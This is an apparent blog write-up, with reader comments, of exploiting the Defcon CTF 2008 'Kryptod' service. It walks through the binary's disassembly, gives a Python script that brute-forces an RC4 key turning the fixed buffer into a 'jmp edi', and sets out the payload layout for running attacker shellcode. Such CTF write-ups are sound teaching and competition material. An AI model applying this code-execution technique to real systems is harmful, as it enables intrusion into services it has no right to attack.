Defcon CTF’08 Kryptod writeup
This year at the Defcon CTF there was only one kenshoto-level service (or at least only one that scored as a Kenshoto, you’ll know what we mean in further writeups). That service was Kryptod, so we will be trying to explain how we managed to exploit it.
As in the major part of the CTF bins the service starts setting up the socket, in this case listening at port 20020, and dropping the proper user privileges. Then it sets up signal handlers for SIGILL, SIGTRAP, SIGEMT, SIGBUS, SIGSEGV, SIGSYS and SIGALRM. The handler is always the same and it just uses the current socket to send back to the client an encoded value related to the signal received and then doing a clean exit (let’s say it’s a nice way to say: “Hey, I crashed!”).
The next step is just the client handler. Kryptod reads the file ‘/home/krypto/key’ (the token) and put its contents into a buffer, then it reads from the socket up to 63 chars (or a terminating \x0A if it comes before). The next part is a bit tricky, if the socket received 0 bytes it justs send the contents of the token/keyfile to the user. WTF??? Strike one! No luck this time, the token is an overwrite one so reading it gives you nothing
If the server receives between 1 and 63 bytes, then uses them as an RC4 key (via RC4_set_key) to decrypt an static 32-byte buffer filled with ‘A’s:
char buf[32]; memset(buf, 'A', 32); key = RC4_set_key(user_data, strlen(user_data)); RC4(key, 32, buf, buf); buf(); // call buf
And here comes the funny part. After setting an alarm for 2 seconds (as a protection against hangs) it just jumps into the decrypted buffer. That’s all, we just need to send kryptod a key to decrypt ‘A’x32 into executable code (shellcode to overwrite the token). The problem is that decrypting 64 bytes into a full shellcode will requiere a really heavy bruteforcing process, so we need to cut down as many bytes as we can. Looking at the assembly, we can find a really easy way to do it with only 2 bytes:
.text:08048D30 push ebx ; user_data .text:08048D31 cld .text:08048D32 xor eax, eax ; 0-terminating user_data .text:08048D34 mov edi, ebx .text:08048D36 mov ecx, 0FFFFFFFFh .text:08048D3B repne scasb .text:08048D3D not ecx .text:08048D3F dec ecx .text:08048D40 push ecx ; len .text:08048D41 lea ebx, [ebp+rc4_key] .text:08048D47 push ebx ; key .text:08048D48 call _RC4_set_key .text:08048D4D push esi ; outdata .text:08048D4E push esi ; indata .text:08048D4F push 32 ; len .text:08048D51 push ebx ; key .text:08048D52 call _RC4 .text:08048D57 add esp, 14h .text:08048D5A push 2 ; secs .text:08048D5C call _alarm .text:08048D61 mov [esp+468h+unkn_flag], '1111' .text:08048D68 call esi
Okay, we need to send a payload in the way ‘OUR_RC4_KEY\x00SHELLCODE’. Doing that way and seeing how the strlen/repne scasb works, in 08048D68 the register edi points just to the beginning of our shellcode (after the \x00) so we only need to decrypt ‘AAAAA…’ into a “jmp edi” (FFE7) and kryptod is completely owned. The bruteforcing is a 5 seconds task and can be done with something like that:
from M2Crypto import RC4 import struct fixed_buf = 'AA' krypto = RC4.RC4() for i in range(0xFFFF): krypto.set_key(struct.pack('!H', i)) res = krypto.update(fixed_buf) if res[0] == '\xFF' and res[1] == '\xE7': print "Found key: ", hex(i) break
Using this simple bruteforcing you will find that 0×2211 decrypts ‘AA’ into ‘\xFF\xE7′, so the payload will be the ‘\x22\x11\x00′ followed by the shellcode. You don’t even need to put nops. There’s only one thing to care about. If you remember how many bytes the service reads from the socket, you’ll see that you need to use a 60 byte shellcode (63 bytes – 3 bytes for the key and the \x00), so using a stage2 shellcode is a good idea.
And that’s it!!! Following these steps you are breaking the Defcon CTF’08 Kenshoto-level service (one of the easiest ones we’ve seen).
See you in the next writeup

WTF!!!
Comment by omgwtfbbq — October 7, 2008 @ 10:51
Excellent read, u guys make it look really easy!cheers!
P.S: Maybe I’m mis-reading here but shouldn’t “…in 08048D68 the register edi points just to the beginning of our shellcode…” say “in 08048D68 the register _ESI_ points just to the beginning of our shellcode”?
Comment by infi — October 15, 2008 @ 21:09
infi: The text in the article is correct. In ESI what you will find is the mini-shellcode that begins with “jmp edi” and some other junk as a result of the decryption process. The real shellcode directly supplied by us as input for the program will be in EDI.
Comment by dreyer — October 21, 2008 @ 15:23
que carrera habes estudiado vosotros?
Comment by wilfred — October 29, 2008 @ 01:30
nice
Comment by EDI — January 5, 2009 @ 21:23
Nice work guys.
I’m going to take a shot at some of the other binaries. If I make any progress I’ll do some writeups.
Any of you considered doing a writeup for the Defcon quals Real World 200 binary?
I look forward to reading any other writeups you guys may do
.
Have fun!
KOrUPt.
Comment by KOrUPt — January 17, 2009 @ 20:56
i like turtles
Comment by smakbitchup — January 17, 2009 @ 23:17
A rather off-topic comment here.
I did a writeup for the Catdoord binary, you can find it here:
.
hxxp://korupt.co.uk/?p=127
I’d like some opinions if you guys have the time
Thanks!
KOrUPt.
Comment by KOrUPt — January 19, 2009 @ 03:30